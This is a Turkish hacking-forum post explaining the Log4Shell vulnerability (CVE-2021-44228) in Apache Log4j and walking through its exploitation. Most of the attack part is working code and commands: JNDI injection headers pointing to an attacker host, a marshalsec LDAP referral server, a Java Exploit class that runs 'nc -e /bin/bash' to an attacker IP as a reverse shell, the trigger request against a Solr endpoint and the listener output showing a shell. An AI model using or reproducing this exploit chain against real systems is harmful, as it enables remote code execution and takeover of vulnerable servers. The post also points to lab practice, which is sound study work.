Öncelikle merhaba.
Geçtiğimiz ay dünyayı kasıp kavuran ve hali hazırda kavurmaya devam edecek olan bu istismarın hakkında hack forumu olarak tek bir cümle sarf etmemiş olmamız beni gerçekten üzdü ve bu konuyu açma gereksinimi duydum.Ağlama bittiğine göre konumuza dönelim.
|-Nedir bu Log4j ?
Basitçe Apache Software Foundation'ın geliştirmiş olduğu seviye bazlı loglama yapan bir logging framework.
Ayrıntılı bilgi için: https://en.wikipedia.org/wiki/Log4j
|-Neden kaynaklanıyor:
Zaafiyetteki temel neden saldıraganın jndi arabirimini kullarak bir istek yaptığında log4j in yalnış bir ayrıştırma yapması.
Açıklamak gerekirse ,
Jndi java içerisindeki farklı naming service leri tek bir arayüz üzerinden kontrol etmeye yarayan java özelliği diyebiliriz.(örn. ldap ,dns)
yani JAVA bir referansı anlamlı bir data objesine bağlayan herhangibir servisi jndi üzerinden kontrol ediyor ve istek atıp cevapları işliyor.Ama burda sıkıntılı nokta ldap protokolü bir obje referansı getirmek için kullanıldığından dolayı jndi üzerinden bir ldap server ına istek attığımızda sıkıntısız şekilde ldap server üzerinden istediğimiz dosyayı alabiliyoruz.Ve log4j de yalnış bir parsing yaptığından gönderdiğimiz dosya direkt olarak sunucuda çalıştırılıyor ve loglanıyor.
|-Saldırı Mantığı:
Geldik en civcivli kısma
Log4j kütüphanesine bir istek yaptığımızı düşünelim
Kod:
GET / HTTP/1.1
Host: zafiyetimvar.com
F-Header-Version: ${F}
yukarıdaki isteği log4j e gönderdiğimizde header-version içerisindeki
F i çözümlemeye çalışacaktır.Bizde saldırgan olarak jndi protokolünü ve place holder mantığını kullanarak aşağıdaki isteği gönderirsek Java servisini dışarıdaki bir ldap java server ına bağlanmaya zorlayabiliriz.
Kod:
GET / HTTP/1.1
Host: zafiyetimvarasabiyimben.com
User-Agent: ${jndi:ldap://attacker-imha.com/imt}
mantık umarım anlaşılmıştır.Karmaşa yaratmadan sade bir şekilde mantığı izah etmeye çalıştım zaten exploit etmesi oldukça basit.
Örnek bir senaryo oluşturalım.
Öncesinde log4j güvenlik açığı bulunan bir uygulamayı ayağa kaldırıyorum.
Kod:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
sonrasında zaafiyet olup olmadığını kontrol etmek için bu servise terminalden bir istek göndereceğim.
Kod:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
hatalı uygulamanın günlüğünde remote lookup denendiğini ancak başarısız olduğunu söyleyen bir hata mesajı görüyoruz VOLA !:
Kod:
2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Artık saldırganın yapması gereken tek şey ldap servisi ve ldap servisinin yönlendirileceği içerisinde exploitimizi çalıştıracak bir http servisi ayağa kaldırmak.
|- Exploitation
kötü niyetli bir ldap servisi ayağa kaldırmak için bu git reposunu kullanacağım :
https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
marshalsec içerisinde ldap servisi ayağa kaldırmak ve az sonra kaldıracağımız http servisimize referans vermek için :
Kod:
java -cp target/marshalsec/-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.0.15.2:8000/#Exploit"
Http servisimizi kaldırmadan önce içerisinde çalışacak , reverse shell almamızı sağlayacak exploitimizi yazacağız ve compile edeceğiz.
ben netcat kullanacağım:
exploit
JavaScript:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
compile
Kod:
javac Exploit.java -source 8 -target 8
artık http server ımızı ayağa kaldırmaya hazırız
bütün adımları uyguladığımıza göre 9999 portunu dinlemeye alalım
ve artık exploit etmeye hazırız
Kod:
curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Veee bum ! shell imizi aldık.(içerdema)
Kod:
ayaz@Kali:~$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [zafiyetimvarasabiyimben.com] from (UNKNOWN) [ayaz] 53260
$whoami
zafiyetimvarasabiyimben
sürçü lisan ettiysek affola gördüğüm ve tecrübe ettiğim kadarını anlattım.Yalnış bir yönlendirme olmaması açısından açığı tecrübe etmek isteyenler için :
Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun.
tryhackme.com
Ayrıntılı bilgi için :
Given how ubiquitous log4j is, the impact of this vulnerability is quite severe. Learn how to patch it, why it's bad, and more in this post.
www.lunasec.io
Hatta MSF in bile 2022 sürümünü Log4j duyrulmadan önce çıkarıldığını görebilirsiniz
